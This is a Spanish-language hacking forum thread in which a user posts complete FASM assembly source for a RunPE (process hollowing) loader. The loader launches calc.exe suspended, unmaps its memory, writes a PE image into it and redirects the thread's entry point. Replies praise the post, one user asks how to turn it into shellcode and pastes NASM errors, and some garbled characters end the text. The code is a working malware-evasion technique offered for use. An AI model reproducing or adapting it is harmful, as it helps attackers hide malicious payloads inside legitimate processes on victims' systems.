Bueno, nunca encontre un RunPE hecho en ASM, asique hace un tiempo lo programe yo mismo.
Se los dejo por aquí...
; // RunPE
; // Programado por Juan fary (mDrinky)
; // drinky.94@hotmail.com
format PE GUI 4.0
include 'win32ax.inc'
entry start
section '.data' readable writeable
struct CONTEXT
ContextFlags dd ?
Dr0 dd ?
Dr1 dd ?
Dr2 dd ?
Dr3 dd ?
Dr6 dd ?
Dr7 dd ?
FloatSave dd ?
SegGs dd ?
SegFs dd ?
SegEs dd ?
SegDs dd ?
Edi dd ?
Esi dd ?
Ebx dd ?
Edx dd ?
Ecx dd ?
Eax dd ?
Ebp dd ?
Eip dd ?
SegCs dd ?
EFlags dd ?
Esp dd ?
SegSs dd ?
ExtendedRegisters rb 512
ends
calc db 'c:\windows\system32\calc.exe',0
bleidos dd 0
Datos dd 0
Espacio dd 0
_SI STARTUPINFO ?
_PI PROCESS_INFORMATION ?
CTX CONTEXT ?
Param2 dd 0
; Datos PE
imagebase dd ?
sizeofheaders dd ?
sizeofimage dd ?
numseciones dd ?
section '.code' executable readable writeable
start:
invoke CreateProcessA,calc,0,0,0,FALSE,CREATE_SUSPENDED,0,0,_SI,_PI
invoke CreateFileA,calc, GENERIC_READ, FILE_SHARE_READ, 0, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0 ; nos autoleemos
mov ebx,eax
invoke GetFileSize,ebx,0
mov edi,eax
invoke GlobalAlloc,GPTR,edi
push eax
invoke ReadFile,ebx,eax,edi,addr bleidos,0
invoke CloseHandle,ebx
pop eax
mov [Datos],eax
cmp word[eax],'MZ'
jne salir
add eax,dword[eax+0x3C] ; PE
cmp word[eax],'PE'
jne salir
push dword[eax+0x34] ; imagebase
pop [imagebase]
push dword[eax+0x54] ; sizeofheaders
pop [sizeofheaders]
push dword[eax+0x50]
pop [sizeofimage] ; sizeofimage
movzx ebx,word[eax+0x6] ; numero de secciones
mov [numseciones],ebx
push eax ; guardamos ya EAX para el final
push eax
invoke NtUnmapViewOfSection,[_PI.hProcess],[imagebase]
invoke VirtualAllocEx,[_PI.hProcess],[imagebase],[sizeofimage],0x3000, PAGE_EXECUTE_READWRITE
mov [Espacio],eax
invoke WriteProcessMemory,[_PI.hProcess],eax,[Datos],[sizeofheaders],0
pop eax
mov ecx,0
add eax,0xF8 ; posicionamos en las cabeceras de sección
EscribirSecciones:
inc ecx
push ecx
push eax
mov ebx,eax
mov ebx,dword[ebx+0xC] ; imagebase
add ebx,[imagebase]
mov [Param2],ebx
mov ebx,eax
mov ebx,dword[ebx+0x14]
mov edx,[Datos]
add edx,ebx
mov ebx,eax
mov ebx,dword[ebx+0x10]
invoke WriteProcessMemory,[_PI.hProcess],[Param2],edx,ebx,0
pop eax
pop ecx
add eax,0x28 ; Siguiente IMAGE_SECTION_HEADER
cmp ecx,[numseciones]
jne EscribirSecciones
invoke GetThreadContext,[_PI.hProcess],CTX
invoke WriteProcessMemory,[_PI.hProcess],dword[CTX.Ebx+8],imagebase,0x4,0
pop eax
add eax,dword[eax+0x3C]
mov eax,dword[eax+0x28]
mov [CTX.Eax],eax ; EntryPoint
invoke SetThreadContext,[_PI.hProcess],CTX
invoke ResumeThread,[_PI.hThread]
salir:
ret
section '.idata' import data readable writeable
library NTDLL,'NTDLL.DLL',\
KERNEL32,'KERNEL32.DLL'
import KERNEL32,\
CreateProcessA,'CreateProcessA',\
CreateFileA,'CreateFileA',\
GetFileSize,'GetFileSize',\
GlobalAlloc,'GlobalAlloc',\
ReadFile,'ReadFile',\
CloseHandle,'CloseHandle',\
VirtualAllocEx,'VirtualAllocEx',\
WriteProcessMemory,'WriteProcessMemory',\
GetThreadContext,'GetThreadContext',\
SetThreadContext,'SetThreadContext',\
ResumeThread,'ResumeThread'
import NTDLL,NtUnmapViewOfSection,'NtUnmapViewOfSection'
grande capo grande vomo :D
Muy buen aporte!
Saludos!
Resurjo de mis cenizas sólo para felicitar al creador de este aporte, ¡buen trabajo!
Hace tiempo que no veo contenido de este tipo y si algo me gusta de tus aportes es que están en ASM, simplemente me divierto leyéndolos y lo comparo con los míos escritos en C++.
Si sigues publicando no estaría de más que armaras un post con todas las técnicas, podríamos ponerle chincheta.
Un abrazo.
y como se usa este runpe? si lo compilo con nasm y lo paso a shellcode como lo uso? funcionara?
intente compilarlo con nasm pero obtengo:
a.asm:7: error: parser: instruction expected
a.asm:8: error: parser: instruction expected
a.asm:9: error: parser: instruction expected
a.asm:13: error: parser: instruction expected
a.asm:15: error: label or instruction expected at
a.asm:16: error: label or instruction expected at
a.asm:17: error: label or instruction expected at
a.asm:18: error: label or instruction expected at
a.asm:19: error: label or instruction expected at
a.asm:20: error: label or instruction expected at
a.asm:26: error: label or instruction expected at
a.asm:27: error: label or instruction expected at
a.asm:28: error: label or instruction expected at
a.asm:29: error: label or instruction expected at
a.asm:30: error: label or instruction expected at
a.asm:31: error: label or instruction expected at
a.asm:32: error: label or instruction expected at
a.asm:36: error: label or instruction expected at
a.asm:38: error: parser: instruction expected
a.asm:46: error: parser: instruction expected
a.asm:47: error: parser: instruction expected
a.asm:48: error: parser: instruction expected
a.asm:61: error: parser: instruction expected
a.asm:63: error: symbol `invoke' redefined
a.asm:63: error: parser: instruction expected
a.asm:65: error: symbol `invoke' redefined
a.asm:65: error: parser: instruction expected
a.asm:67: error: symbol `invoke' redefined
a.asm:67: error: parser: instruction expected
a.asm:69: error: symbol `invoke' redefined
a.asm:69: error: parser: instruction expected
a.asm:70: error: symbol `invoke' redefined
a.asm:70: error: parser: instruction expected
a.asm:98: error: symbol `invoke' redefined
a.asm:98: error: parser: instruction expected
a.asm:99: error: symbol `invoke' redefined
a.asm:99: error: parser: instruction expected
a.asm:101: error: symbol `invoke' redefined
a.asm:101: error: parser: instruction expected
a.asm:129: error: symbol `invoke' redefined
a.asm:129: error: parser: instruction expected
a.asm:139: error: symbol `invoke' redefined
a.asm:139: error: parser: instruction expected
a.asm:141: error: symbol `invoke' redefined
a.asm:141: error: parser: instruction expected
a.asm:150: error: symbol `invoke' redefined
a.asm:150: error: parser: instruction expected
a.asm:152: error: symbol `invoke' redefined
a.asm:152: error: parser: instruction expected
a.asm:159: error: parser: instruction expected
a.asm:172: error: parser: instruction expected
a.asm:174: error: symbol `import' redefined
a.asm:174: error: parser: instruction expected
ʤꘀ숨